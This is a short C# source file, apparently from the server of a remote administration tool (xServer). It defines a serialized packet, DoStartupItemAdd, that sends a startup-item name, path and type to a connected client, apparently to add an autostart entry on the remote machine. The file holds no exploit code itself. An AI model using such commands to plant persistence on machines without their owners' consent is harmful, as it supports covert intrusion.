using ProtoBuf; using xServer.Core.Networking; namespace xServer.Core.Packets.ServerPackets { [ProtoContract] public class DoStartupItemAdd : IPacket { [ProtoMember(1)] public string Name { get; set; } [ProtoMember(2)] public string Path { get; set; } [ProtoMember(3)] public int Type { get; set; } public DoStartupItemAdd() { } public DoStartupItemAdd(string name, string path, int type) { this.Name = name; this.Path = path; this.Type = type; } public void Execute(Client client) { client.Send(this); } } }